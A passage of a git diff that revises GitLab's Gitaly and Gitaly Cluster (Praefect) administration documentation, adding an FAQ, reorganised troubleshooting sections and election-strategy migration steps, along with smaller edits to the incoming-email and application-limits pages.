[Geo](../geo/index.md) both provide redundancy. However the redundancy of: + +- Gitaly Cluster provides fault tolerance for data storage and is invisible to the user. Users are + not aware when Gitaly Cluster is used. +- Geo provides [replication](../geo/index.md) and [disaster recovery](../geo/disaster_recovery/index.md) for + an entire instance of GitLab. Users know when they are using Geo for + [replication](../geo/index.md). Geo [replicates multiple data types](../geo/replication/datatypes.md#limitations-on-replicationverification), + including Git data. + +The following table outlines the major differences between Gitaly Cluster and Geo: + +| Tool | Nodes | Locations | Latency tolerance | Failover | Consistency | Provides redundancy for | +|:---------------|:---------|:----------|:-------------------|:----------------------------------------------------------------------------|:-----------------------------------------|:------------------------| +| Gitaly Cluster | Multiple | Single | Approximately 1 ms | [Automatic](praefect.md#automatic-failover-and-primary-election-strategies) | [Strong](praefect.md#strong-consistency) | Data storage in Git | +| Geo | Multiple | Multiple | Up to one minute | [Manual](../geo/disaster_recovery/index.md) | Eventual | Entire GitLab instance | + +For more information, see: + +- Geo [use cases](../geo/index.md#use-cases). +- Geo [architecture](../geo/index.md#architecture). + +## Are there instructions for migrating to Gitaly Cluster? + +Yes! For more information, see [Migrate to Gitaly Cluster](praefect.md#migrate-to-gitaly-cluster). + +## What are some repository storage recommendations? + +The size of the required storage can vary between instances and depends on the set +[replication factor](praefect.md#replication-factor). You might want to include implementing +repository storage redundancy. + +For a replication factor: + +- Of `1`: NFS, Gitaly, and Gitaly Cluster have roughly the same storage requirements. +- More than `1`: The amount of required storage is `used space * replication factor`. `used space` + should include any planned future growth. + +## What are some Praefect database storage requirements? + +The requirements are relatively low because the database contains only metadata of: + +- Where repositories are located. +- Some queued work. + +It depends on the number of repositories, but a useful minimum is 5-10 GB, similar to the main +GitLab application database. + +## Can the GitLab application database and the Praefect database be on the same servers? + +Yes, however Praefect should have it's own database server when using Omnibus GitLab PostgreSQL. If +there is a failover, Praefect isn't aware and starts to fail as the database it's trying to use would +either: + +- Be unavailable. +- In read-only mode. + +A future solution may allow for Praefect and Omnibus GitLab databases on the same PostgreSQL server. +For more information, see the relevant: + +- [Omnibus GitLab issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919). +- [Gitaly issue](https://gitlab.com/gitlab-org/gitaly/-/issues/3398). + +## Is PgBouncer required for the Praefect database? + +No, because the number of connections Praefect makes is low. You can use the same PgBouncer instance +for both the GitLab application database and the Praefect database if you wish. + +## Are there any special considerations for Gitaly Cluster when PostgreSQL is upgraded? + +There are no special requirements. Gitaly Cluster requires PostgreSQL version 11 or later. + +## Praefect database tables are empty? + +These tables are created per the [specific configuration section](praefect.md#postgresql). + +If you find you have an empty Praefect database table, see the +[relevant troubleshooting section](index.md#relation-does-not-exist-errors). diff --git a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md index 3935e990590..eaf9e21780d 100644 --- a/doc/administration/gitaly/index.md +++ b/doc/administration/gitaly/index.md @@ -235,29 +235,6 @@ A hybrid approach can be used in these instances, where each shard is configured cluster. [Variable replication factor](https://gitlab.com/groups/gitlab-org/-/epics/3372) is planned to provide greater flexibility for extremely large GitLab instances. -### Gitaly Cluster compared to Geo - -Gitaly Cluster and [Geo](../geo/index.md) both provide redundancy. However the redundancy of: - -- Gitaly Cluster provides fault tolerance for data storage and is invisible to the user. Users are - not aware when Gitaly Cluster is used. -- Geo provides [replication](../geo/index.md) and [disaster recovery](../geo/disaster_recovery/index.md) for - an entire instance of GitLab. Users know when they are using Geo for - [replication](../geo/index.md). Geo [replicates multiple data types](../geo/replication/datatypes.md#limitations-on-replicationverification), - including Git data. - -The following table outlines the major differences between Gitaly Cluster and Geo: - -| Tool | Nodes | Locations | Latency tolerance | Failover | Consistency | Provides redundancy for | -|:---------------|:---------|:----------|:-------------------|:----------------------------------------------------------------------------|:-----------------------------------------|:------------------------| -| Gitaly Cluster | Multiple | Single | Approximately 1 ms | [Automatic](praefect.md#automatic-failover-and-primary-election-strategies) | [Strong](praefect.md#strong-consistency) | Data storage in Git | -| Geo | Multiple | Multiple | Up to one minute | [Manual](../geo/disaster_recovery/index.md) | Eventual | Entire GitLab instance | - -For more information, see: - -- Geo [use cases](../geo/index.md#use-cases). -- Geo [architecture](../geo/index.md#architecture). - ### Architecture Praefect is a router and transaction manager for Gitaly, and a required @@ -346,7 +323,6 @@ When GitLab calls a function that has a "Rugged patch", it performs two checks: the GitLab use of "Rugged patch" code. - If the feature flag is not set, GitLab tries accessing the file system underneath the Gitaly server directly. If it can, it uses the "Rugged patch": - - If using Unicorn. - If using Puma and [thread count](../../install/requirements.md#puma-threads) is set to `1`. @@ -404,25 +380,36 @@ GitLab recommends: We welcome your feedback on this process: raise a support ticket, or [comment on the epic](https://gitlab.com/groups/gitlab-org/-/epics/4916). -## Troubleshooting Gitaly +## Troubleshooting + +Refer to the information below when troubleshooting Gitaly and Gitaly Cluster. + +Before troubleshooting, see the Gitaly and Gitaly Cluster +[frequently asked questions](faq.md). + +### Troubleshoot Gitaly + +The following sections provide possible solutions to Gitaly errors. -Check [Gitaly timeouts](../../user/admin_area/settings/gitaly_timeouts.md) when troubleshooting -Gitaly. +See also [Gitaly timeout](../../user/admin_area/settings/gitaly_timeouts.md) settings. -### Check versions when using standalone Gitaly servers +#### Check versions when using standalone Gitaly servers When using standalone Gitaly servers, you must make sure they are the same version -as GitLab to ensure full compatibility. Check **Admin Area > Overview > Gitaly Servers** on -your GitLab instance and confirm all Gitaly servers indicate that they are up to date. +as GitLab to ensure full compatibility: -### `gitaly-debug` +1. On the top bar, select **Menu >** **{admin}** **Admin** on your GitLab instance. +1. On the left sidebar, select **Overview > Gitaly Servers**. +1. Confirm all Gitaly servers indicate that they are up to date. + +#### Use `gitaly-debug` The `gitaly-debug` command provides "production debugging" tools for Gitaly and Git performance. It is intended to help production engineers and support engineers investigate Gitaly performance problems. If you're using GitLab 11.6 or newer, this tool should be installed on -your GitLab / Gitaly server already at `/opt/gitlab/embedded/bin/gitaly-debug`. +your GitLab or Gitaly server already at `/opt/gitlab/embedded/bin/gitaly-debug`. If you're investigating an older GitLab version you can compile this tool offline and copy the executable to your server: @@ -438,19 +425,19 @@ To see the help page of `gitaly-debug` for a list of supported sub-commands, run gitaly-debug -h ``` -### Commits, pushes, and clones return a 401 +#### Commits, pushes, and clones return a 401 ```plaintext remote: GitLab: 401 Unauthorized ``` -You need to sync your `gitlab-secrets.json` file with your Gitaly clients (GitLab -app nodes). +You need to sync your `gitlab-secrets.json` file with your GitLab +application nodes. -### Client side gRPC logs +#### Client side gRPC logs Gitaly uses the [gRPC](https://grpc.io/) RPC framework. The Ruby gRPC -client has its own log file which may contain debugging information when +client has its own log file which may contain useful information when you are seeing Gitaly errors. You can control the log level of the gRPC client with the `GRPC_LOG_LEVEL` environment variable. The default level is `WARN`. @@ -461,7 +448,7 @@ You can run a gRPC trace with: sudo GRPC_TRACE=all GRPC_VERBOSITY=DEBUG gitlab-rake gitlab:gitaly:check ``` -### Server side gRPC logs +#### Server side gRPC logs gRPC tracing can also be enabled in Gitaly itself with the `GODEBUG=http2debug` environment variable. To set this in an Omnibus GitLab install: @@ -476,7 +463,7 @@ environment variable. To set this in an Omnibus GitLab install: 1. [Reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure) GitLab. -### Correlating Git processes with RPCs +#### Correlating Git processes with RPCs Sometimes you need to find out which Gitaly RPC created a particular Git process. @@ -494,7 +481,7 @@ sudo cat /proc/$PID/environ | tr '\0' '\n' | grep ^CORRELATION_ID= This method isn't reliable for `git cat-file` processes, because Gitaly internally pools and re-uses those across RPCs. -### Observing `gitaly-ruby` traffic +#### Observing `gitaly-ruby` traffic [`gitaly-ruby`](configure_gitaly.md#gitaly-ruby) is an internal implementation detail of Gitaly, so, there's not that much visibility into what goes on inside @@ -502,12 +489,13 @@ so, there's not that much visibility into what goes on inside If you have Prometheus set up to scrape your Gitaly process, you can see request rates and error codes for individual RPCs in `gitaly-ruby` by -querying `grpc_client_handled_total`. Strictly speaking, this metric does -not differentiate between `gitaly-ruby` and other RPCs. However from GitLab 11.9, -all gRPC calls made by Gitaly itself are internal calls from the main Gitaly process to one of its -`gitaly-ruby` sidecars. +querying `grpc_client_handled_total`. + +- In theory, this metric does not differentiate between `gitaly-ruby` and other RPCs. +- In practice from GitLab 11.9, all gRPC calls made by Gitaly itself are internal calls from the + main Gitaly process to one of its `gitaly-ruby` sidecars. -Assuming your `grpc_client_handled_total` counter observes only Gitaly, +Assuming your `grpc_client_handled_total` counter only observes Gitaly, the following query shows you RPCs are (most likely) internally implemented as calls to `gitaly-ruby`: @@ -515,7 +503,7 @@ implemented as calls to `gitaly-ruby`: sum(rate(grpc_client_handled_total[5m])) by (grpc_method) > 0 ``` -### Repository changes fail with a `401 Unauthorized` error +#### Repository changes fail with a `401 Unauthorized` error If you run Gitaly on its own server and notice these conditions: @@ -541,7 +529,7 @@ Confirm the following are all true: - When any user adds or modifies a file from the repository using the GitLab UI, it immediately fails with a red `401 Unauthorized` banner. - Creating a new project and [initializing it with a README](../../user/project/working_with_projects.md#blank-projects) - successfully creates the project, but doesn't create the README. + successfully creates the project but doesn't create the README. - When [tailing the logs](https://docs.gitlab.com/omnibus/settings/logs.html#tail-logs-in-a-console-on-the-server) on a Gitaly client and reproducing the error, you get `401` errors when reaching the [`/api/v4/internal/allowed`](../../development/internal_api.md) endpoint: @@ -610,7 +598,7 @@ on the Gitaly server matches the one on Gitaly client. If it doesn't match, update the secrets file on the Gitaly server to match the Gitaly client, then [reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure). -### Command line tools cannot connect to Gitaly +#### Command line tools cannot connect to Gitaly gRPC cannot reach your Gitaly server if: @@ -623,22 +611,24 @@ Verify you can reach Gitaly by using TCP: sudo gitlab-rake gitlab:tcp_check[GITALY_SERVER_IP,GITALY_LISTEN_PORT] ``` -If the TCP connection fails, check your network settings and your firewall rules. -If the TCP connection succeeds, your networking and firewall rules are correct. +If the TCP connection: + +- Fails, check your network settings and your firewall rules. +- Succeeds, your networking and firewall rules are correct. -If you use proxy servers in your command line environment, such as Bash, these -can interfere with your gRPC traffic. +If you use proxy servers in your command line environment such as Bash, these can interfere with +your gRPC traffic. -If you use Bash or a compatible command line environment, run the following commands -to determine whether you have proxy servers configured: +If you use Bash or a compatible command line environment, run the following commands to determine +whether you have proxy servers configured: ```shell echo $http_proxy echo $https_proxy ``` -If either of these variables have a value, your Gitaly CLI connections may be -getting routed through a proxy which cannot connect to Gitaly. +If either of these variables have a value, your Gitaly CLI connections may be getting routed through +a proxy which cannot connect to Gitaly. To remove the proxy setting, run the following commands (depending on which variables had values): @@ -647,7 +637,7 @@ unset http_proxy unset https_proxy ``` -### Permission denied errors appearing in Gitaly or Praefect logs when accessing repositories +#### Permission denied errors appearing in Gitaly or Praefect logs when accessing repositories You might see the following in Gitaly and Praefect logs: @@ -668,9 +658,87 @@ This is a GRPC call [error response code](https://grpc.github.io/grpc/core/md_doc_statuscodes.html). If this error occurs, even though -[the Gitaly auth tokens are correctly setup](../gitaly/praefect.md#debugging-praefect), +[the Gitaly auth tokens are set up correctly](#praefect-errors-in-logs), it's likely that the Gitaly servers are experiencing [clock drift](https://en.wikipedia.org/wiki/Clock_drift). Ensure the Gitaly clients and servers are synchronized, and use an NTP time server to keep them synchronized. + +#### Gitaly not listening on new address after reconfiguring + +When updating the `gitaly['listen_addr']` or `gitaly['prometheus_listen_addr']` values, Gitaly may +continue to listen on the old address after a `sudo gitlab-ctl reconfigure`. + +When this occurs, run `sudo gitlab-ctl restart` to resolve the issue. This should no longer be +necessary because [this issue](https://gitlab.com/gitlab-org/gitaly/-/issues/2521) is resolved. + +#### Permission denied errors appearing in Gitaly logs when accessing repositories from a standalone Gitaly node + +If this error occurs even though file permissions are correct, it's likely that the Gitaly node is +experiencing [clock drift](https://en.wikipedia.org/wiki/Clock_drift). + +Please ensure that the GitLab and Gitaly nodes are synchronized and use an NTP time +server to keep them synchronized if possible. + +### Troubleshoot Praefect (Gitaly Cluster) + +The following sections provide possible solutions to Gitaly Cluster errors. + +#### Praefect errors in logs + +If you receive an error, check `/var/log/gitlab/gitlab-rails/production.log`. + +Here are common errors and potential causes: + +- 500 response code + - **ActionView::Template::Error (7:permission denied)** + - `praefect['auth_token']` and `gitlab_rails['gitaly_token']` do not match on the GitLab server. + - **Unable to save project. Error: 7:permission denied** + - Secret token in `praefect['storage_nodes']` on GitLab server does not match the + value in `gitaly['auth_token']` on one or more Gitaly servers. +- 503 response code + - **GRPC::Unavailable (14:failed to connect to all addresses)** + - GitLab was unable to reach Praefect. + - **GRPC::Unavailable (14:all SubCons are in TransientFailure...)** + - Praefect cannot reach one or more of its child Gitaly nodes. Try running + the Praefect connection checker to diagnose. + +#### Determine primary Gitaly node + +To determine the current primary Gitaly node for a specific Praefect node: + +- Use the `Shard Primary Election` [Grafana chart](praefect.md#grafana) on the + [`Gitlab Omnibus - Praefect` dashboard](https://gitlab.com/gitlab-org/grafana-dashboards/-/blob/master/omnibus/praefect.json). + This is recommended. +- If you do not have Grafana set up, use the following command on each host of each + Praefect node: + + ```shell + curl localhost:9652/metrics | grep gitaly_praefect_primaries` + ``` + +#### Relation does not exist errors + +By default Praefect database tables are created automatically by `gitlab-ctl reconfigure` task. +However, if the `gitlab-ctl reconfigure` command isn't executed or there are errors during the +execution, the Praefect database tables are not created on initial reconfigure and can throw +errors that relations do not exist. + +For example: + +- `ERROR: relation "node_status" does not exist at character 13` +- `ERROR: relation "replication_queue_lock" does not exist at character 40` +- This error: + + ```json + {"level":"error","msg":"Error updating node: pq: relation \"node_status\" does not exist","pid":210882,"praefectName":"gitlab1x4m:0.0.0.0:2305","time":"2021-04-01T19:26:19.473Z","virtual_storage":"praefect-cluster-1"} + ``` + +To solve this, the database schema migration can be done using `sql-migrate` sub-command of +the `praefect` command: + +```shell +$ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml sql-migrate +praefect sql-migrate: OK (applied 21 migrations) +``` diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md index a1733d9d6ac..21e5360e27b 100644 --- a/doc/administration/gitaly/praefect.md +++ b/doc/administration/gitaly/praefect.md @@ -9,13 +9,21 @@ type: reference Configure Gitaly Cluster using either: -- The Gitaly Cluster configuration instructions available as part of - [reference architectures](../reference_architectures/index.md) for installations for more than - 2000 users. -- The advanced configuration instructions that follow on this page. +- Gitaly Cluster configuration instructions available as part of + [reference architectures](../reference_architectures/index.md) for installations of up to: + - [3000 users](../reference_architectures/3k_users.md#configure-gitaly-cluster). + - [5000 users](../reference_architectures/5k_users.md#configure-gitaly-cluster). + - [10,000 users](../reference_architectures/10k_users.md#configure-gitaly-cluster). + - [25,000 users](../reference_architectures/25k_users.md#configure-gitaly-cluster). + - [50,000 users](../reference_architectures/50k_users.md#configure-gitaly-cluster). +- The custom configuration instructions that follow on this page. Smaller GitLab installations may need only [Gitaly itself](index.md). +NOTE: +Upgrade instructions for Omnibus GitLab installations +[are available](https://docs.gitlab.com/omnibus/update/#gitaly-cluster). + ## Requirements for configuring a Gitaly Cluster The minimum recommended configuration for a Gitaly Cluster requires: @@ -161,6 +169,9 @@ node, using `psql` which is installed by Omnibus GitLab. The database used by Praefect is now configured. +If you see Praefect database errors after configuring PostgreSQL, see +[troubleshooting steps](index.md#relation-does-not-exist-errors). + #### PgBouncer To reduce PostgreSQL resource consumption, we recommend setting up and configuring @@ -223,8 +234,10 @@ PostgreSQL instances. Otherwise you should change the configuration parameter > [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2634) in GitLab 13.4, Praefect nodes can no longer be designated as `primary`. -NOTE: -If there are multiple Praefect nodes, complete these steps for **each** node. +If there are multiple Praefect nodes: + +- Complete the following steps for **each** node. +- Designate one node as the "deploy node", and configure it first. To complete this section you need a [configured PostgreSQL server](#postgresql), including: @@ -259,8 +272,8 @@ application server, or a Gitaly node. praefect['enable'] = true # Prevent database connections during 'gitlab-ctl reconfigure' - gitlab_rails['rake_cache_clear'] = false gitlab_rails['auto_migrate'] = false + praefect['auto_migrate'] = false ``` 1. Configure **Praefect** to listen on network interfaces by editing @@ -381,6 +394,30 @@ application server, or a Gitaly node. gitlab-ctl reconfigure ``` +1. For: + + - The "deploy node": + 1. Enable Praefect auto-migration again by setting `praefect['auto_migrate'] = true` in + `/etc/gitlab/gitlab.rb`. + 1. To ensure database migrations are only run during reconfigure and not automatically on + upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure + ``` + + - The other nodes, you can leave the settings as they are. Though + `/etc/gitlab/skip-auto-reconfigure` isn't required, you may want to set it to prevent GitLab + running reconfigure automatically when running commands such as `apt-get update`. This way any + additional configuration changes can be done and then reconfigure can be run manually. + +1. Save the changes to `/etc/gitlab/gitlab.rb` and [reconfigure + Praefect](../restart_gitlab.md#omnibus-gitlab-reconfigure): + + ```shell + gitlab-ctl reconfigure + ``` + 1. To ensure that Praefect [has updated its Prometheus listen address](https://gitlab.com/gitlab-org/gitaly/-/issues/2734), [restart Praefect](../restart_gitlab.md#omnibus-gitlab-restart): @@ -599,7 +636,6 @@ documentation](configure_gitaly.md#configure-gitaly-servers). prometheus['enable'] = true # Prevent database connections during 'gitlab-ctl reconfigure' - gitlab_rails['rake_cache_clear'] = false gitlab_rails['auto_migrate'] = false ``` @@ -696,7 +732,7 @@ documentation](configure_gitaly.md#configure-gitaly-servers). **The steps above must be completed for each Gitaly node!** -After all Gitaly nodes are configured, you can run the Praefect connection +After all Gitaly nodes are configured, run the Praefect connection checker to verify Praefect can connect to all Gitaly servers in the Praefect configuration. @@ -865,9 +901,13 @@ Particular attention should be shown to: gitlab-rake gitlab:gitaly:check ``` -1. Check in **Admin Area > Settings > Repository > Repository storage** that the Praefect storage - is configured to store new repositories. Following this guide, the `default` storage should have - weight 100 to store all new repositories. +1. Check that the Praefect storage is configured to store new repositories: + + 1. On the top bar, select **Menu >** **{admin}** **Admin**. + 1. On the left sidebar, select **Settings > Repository**. + 1. Expand the **Repository storage** section. + + Following this guide, the `default` storage should have weight 100 to store all new repositories. 1. Verify everything is working by creating a new project. Check the "Initialize repository with a README" box so that there is content in the @@ -878,7 +918,7 @@ Particular attention should be shown to: When adding Gitaly Cluster to an existing Gitaly instance, the existing Gitaly storage must use a TCP address. If `gitaly_address` is not specified, then a Unix socket is used, -which will prevent the communication with the cluster. +which prevents the communication with the cluster. For example: @@ -1160,15 +1200,36 @@ To migrate existing clusters: a Praefect node to reattempt it. The migration only runs with `sql` election strategy configured. 1. Running two different election strategies side by side can cause a split brain, where different - Praefect nodes consider repositories to have different primaries. To avoid this, shut down - all Praefect nodes before changing the election strategy. + Praefect nodes consider repositories to have different primaries. This can be avoided either: + + - If a short downtime is acceptable: - Do this by running `gitlab-ctl stop praefect` on the Praefect nodes. + 1. Shut down all Praefect nodes before changing the election strategy. Do this by running `gitlab-ctl stop praefect` on the Praefect nodes. -1. On the Praefect nodes, configure the election strategy in `/etc/gitlab/gitlab.rb` with - `praefect['failover_election_strategy'] = 'per_repository'`. + 1. On the Praefect nodes, configure the election strategy in `/etc/gitlab/gitlab.rb` with `praefect['failover_election_strategy'] = 'per_repository'`. -1. Finally, run `gitlab-ctl reconfigure` to reconfigure and restart the Praefect nodes. + 1. Run `gitlab-ctl reconfigure && gitlab-ctl start` to reconfigure and start the Praefects. + + - If downtime is unacceptable: + + 1. Determine which Gitaly node is [the current primary](index.md#determine-primary-gitaly-node). + + 1. Comment out the secondary Gitaly nodes from the virtual storage's configuration in `/etc/gitlab/gitlab.rb` + on all Praefect nodes. This ensures there's only one Gitaly node configured, causing both of the election + strategies to elect the same Gitaly node as the primary. + + 1. Run `gitlab-ctl reconfigure` on all Praefect nodes. Wait until all Praefect processes have restarted and + the old processes have exited. This can take up to one minute. + + 1. On all Praefect nodes, configure the election strategy in `/etc/gitlab/gitlab.rb` with + `praefect['failover_election_strategy'] = 'per_repository'`. + + 1. Run `gitlab-ctl reconfigure` on all Praefect nodes. Wait until all of the Praefect processes have restarted and + the old processes have exited. This can take up to one minute. + + 1. Uncomment the secondary Gitaly node configuration commented out in the earlier step on all Praefect nodes. + + 1. Run `gitlab-ctl reconfigure` on all Praefect nodes to reconfigure and restart the Praefect processes. ### Deprecated election strategies @@ -1428,15 +1489,8 @@ or to move from single Gitaly nodes, the basic process involves: 1. Create and configure Gitaly Cluster. 1. [Move the repositories](#move-repositories). -The size of the required storage can vary between instances and depends on the set -[replication factor](#replication-factor). The migration to Gitaly Cluster might include -implementing repository storage redundancy. - -For a replication factor: - -- Of `1`: NFS, Gitaly, and Gitaly Cluster have roughly the same storage requirements. -- More than `1`: The amount of required storage is `used space * replication factor`. `used space` - should include any planned future growth. +When creating the storage, see some +[repository storage recommendations](faq.md#what-are-some-repository-storage-recommendations). ### Move Repositories @@ -1467,8 +1521,10 @@ After creating and configuring Gitaly Cluster: 1. [Schedule repository storage moves for all projects on a storage shard](../../api/project_repository_storage_moves.md#schedule-repository-storage-moves-for-all-projects-on-a-storage-shard) using the API. For example: ```shell - curl --request POST --header "Private-Token: <your_access_token>" --header "Content-Type: application/json" \ - --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' "https://gitlab.example.com/api/v4/project_repository_storage_moves" + curl --request POST --header "Private-Token: <your_access_token>" \ + --header "Content-Type: application/json" \ + --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' \ + "https://gitlab.example.com/api/v4/project_repository_storage_moves" ``` 1. [Query the most recent repository moves](../../api/project_repository_storage_moves.md#retrieve-all-project-repository-storage-moves) @@ -1500,8 +1556,10 @@ After creating and configuring Gitaly Cluster: 1. [Schedule repository storage moves for all snippets on a storage shard](../../api/snippet_repository_storage_moves.md#schedule-repository-storage-moves-for-all-snippets-on-a-storage-shard) using the API. For example: ```shell - curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ - --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' "https://gitlab.example.com/api/v4/snippet_repository_storage_moves" + curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --header "Content-Type: application/json" \ + --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' \ + "https://gitlab.example.com/api/v4/snippet_repository_storage_moves" ``` 1. [Query the most recent repository moves](../../api/snippet_repository_storage_moves.md#retrieve-all-snippet-repository-storage-moves) @@ -1525,8 +1583,10 @@ After creating and configuring Gitaly Cluster: 1. [Schedule repository storage moves for all groups on a storage shard](../../api/group_repository_storage_moves.md#schedule-repository-storage-moves-for-all-groups-on-a-storage-shard) using the API. ```shell - curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ - --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' "https://gitlab.example.com/api/v4/group_repository_storage_moves" + curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --header "Content-Type: application/json" \ + --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' \ + "https://gitlab.example.com/api/v4/group_repository_storage_moves" ``` 1. [Query the most recent repository moves](../../api/group_repository_storage_moves.md#retrieve-all-group-repository-storage-moves) @@ -1544,35 +1604,3 @@ After creating and configuring Gitaly Cluster: ``` 1. Repeat for each storage as required. - -## Debugging Praefect - -If you receive an error, check `/var/log/gitlab/gitlab-rails/production.log`. - -Here are common errors and potential causes: - -- 500 response code - - **ActionView::Template::Error (7:permission denied)** - - `praefect['auth_token']` and `gitlab_rails['gitaly_token']` do not match on the GitLab server. - - **Unable to save project. Error: 7:permission denied** - - Secret token in `praefect['storage_nodes']` on GitLab server does not match the - value in `gitaly['auth_token']` on one or more Gitaly servers. -- 503 response code - - **GRPC::Unavailable (14:failed to connect to all addresses)** - - GitLab was unable to reach Praefect. - - **GRPC::Unavailable (14:all SubCons are in TransientFailure...)** - - Praefect cannot reach one or more of its child Gitaly nodes. Try running - the Praefect connection checker to diagnose. - -### Determine primary Gitaly node - -To determine the current primary Gitaly node for a specific Praefect node: - -- Use the `Shard Primary Election` [Grafana chart](#grafana) on the [`Gitlab Omnibus - Praefect` dashboard](https://gitlab.com/gitlab-org/grafana-dashboards/-/blob/master/omnibus/praefect.json). - This is recommended. -- If you do not have Grafana set up, use the following command on each host of each - Praefect node: - - ```shell - curl localhost:9652/metrics | grep gitaly_praefect_primaries` - ``` diff --git a/doc/administration/incoming_email.md b/doc/administration/incoming_email.md index 9aa6bffdb98..56af5f56cfa 100644 --- a/doc/administration/incoming_email.md +++ b/doc/administration/incoming_email.md @@ -21,9 +21,8 @@ GitLab has several features based on receiving incoming emails: ## Requirements -It is **not** recommended to use an email address that receives any -messages not intended for the GitLab instance. Any incoming emails not intended -for GitLab receive a reject notice. +We recommend using an email address that receives **only** messages that are intended for +the GitLab instance. Any incoming emails not intended for GitLab receive a reject notice. Handling incoming emails requires an [IMAP](https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol)-enabled email account. GitLab requires one of the following three strategies: @@ -131,6 +130,9 @@ list. ```shell sudo gitlab-ctl reconfigure + + # Needed when enabling or disabling for the first time but not for password changes. + # See https://gitlab.com/gitlab-org/gitlab-foss/-/issues/23560#note_61966788 sudo gitlab-ctl restart ``` @@ -469,11 +471,6 @@ This series of PowerShell commands enables [sub-addressing](#email-sub-addressin at the organization level in Office 365. This allows all mailboxes in the organization to receive sub-addressed mail: -NOTE: -This series of commands enables sub-addressing at the organization -level in Office 365. This allows all mailboxes in the organization -to receive sub-addressed mail. - ```powershell Set-ExecutionPolicy RemoteSigned -Scope CurrentUser diff --git a/doc/administration/index.md b/doc/administration/index.md index 1bc2084a23a..69e8689c589 100644 --- a/doc/administration/index.md +++ b/doc/administration/index.md @@ -54,7 +54,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. - [Environment variables](environment_variables.md): Supported environment variables that can be used to override their default values to configure GitLab. -- [Plugins](file_hooks.md): With custom plugins, GitLab administrators can +- [File hooks](file_hooks.md): With custom file hooks, GitLab administrators can introduce custom integrations without modifying GitLab source code. - [Enforcing Terms of Service](../user/admin_area/settings/terms.md) - [Third party offers](../user/admin_area/settings/third_party_offers.md) @@ -103,7 +103,6 @@ Learn how to install, configure, update, and maintain your GitLab instance. - [GitLab in maintenance mode](maintenance_mode/index.md): Put GitLab in maintenance mode. - [Update GitLab](../update/index.md): Update guides to upgrade your installation to a new version. - [Upgrading without downtime](../update/index.md#upgrading-without-downtime): Upgrade to a newer major, minor, or patch version of GitLab without taking your GitLab instance offline. -- [Migrate your GitLab CI/CD data to another version of GitLab](../migrate_ci_to_ce/README.md): If you have an old GitLab installation (older than 8.0), follow this guide to migrate your existing GitLab CI/CD data to another version of GitLab. ### Upgrading or downgrading GitLab @@ -172,7 +171,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. - [External Pipeline Validation](external_pipeline_validation.md): Enable, disable, and configure external pipeline validation. - [Job artifacts](job_artifacts.md): Enable, disable, and configure job artifacts (a set of files and directories which are outputted by a job when it completes successfully). - [Job logs](job_logs.md): Information about the job logs. -- [Register runners](../ci/runners/README.md#types-of-runners): Learn how to register and configure runners. +- [Register runners](../ci/runners/runners_scope.md): Learn how to register and configure runners. - [Shared runners pipelines quota](../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota): Limit the usage of pipeline minutes for shared runners. - [Enable/disable Auto DevOps](../topics/autodevops/index.md#enable-or-disable-auto-devops): Enable or disable Auto DevOps for your instance. diff --git a/doc/administration/instance_limits.md b/doc/administration/instance_limits.md index 9ea76ff6151..9423045e3b5 100644 --- a/doc/administration/instance_limits.md +++ b/doc/administration/instance_limits.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# GitLab application limits +# GitLab application limits **(FREE SELF)** GitLab, like most large applications, enforces limits within certain features to maintain a minimum quality of performance. Allowing some features to be limitless could affect security, @@ -112,7 +112,7 @@ Limit the maximum daily member invitations allowed per group hierarchy. - GitLab.com: Free members may invite 20 members per day. - Self-managed: Invites are not limited. -### Webhook calls +### Webhook rate limit > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61151) in GitLab 13.12. > - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default. @@ -169,8 +169,8 @@ Read more about [Gitaly concurrency limits](gitaly/configure_gitaly.md#limit-rpc There's a limit to the number of comments that can be submitted on an issue, merge request, or commit. When the limit is reached, system notes can still be -added so that the history of events is not lost, but user-submitted comments -will fail. +added so that the history of events is not lost, but the user-submitted +comment fails. - **Max limit**: 5,000 comments. @@ -179,10 +179,10 @@ will fail. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/61974) in GitLab 12.2. There is a limit to the size of comments and descriptions of issues, merge requests, and epics. -Attempting to add a body of text larger than the limit will result in an error, and the -item will not be created. +Attempting to add a body of text larger than the limit, results in an error, and the +item is also not created. -It's possible that this limit will be changed to a lower number in the future. +It's possible that this limit changes to a lower number in the future. - **Max size**: ~1 million characters / ~1 MB. @@ -191,8 +191,8 @@ It's possible that this limit will be changed to a lower number in the future. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292039) in GitLab 13.9 Commits with arbitrarily large messages may be pushed to GitLab, but when -displaying commits, titles (the first line of the commit message) will be -limited to 1KiB, and descriptions (the rest of the message) will be limited to +displaying commits, titles (the first line of the commit message) +limits to 1KiB, and descriptions (the rest of the message) limits to 1MiB. ## Number of issues in the milestone overview @@ -316,7 +316,7 @@ each time a new pipeline is created. An active pipeline is any pipeline in one o - `running` If a new pipeline would cause the total number of jobs to exceed the limit, the pipeline -will fail with a 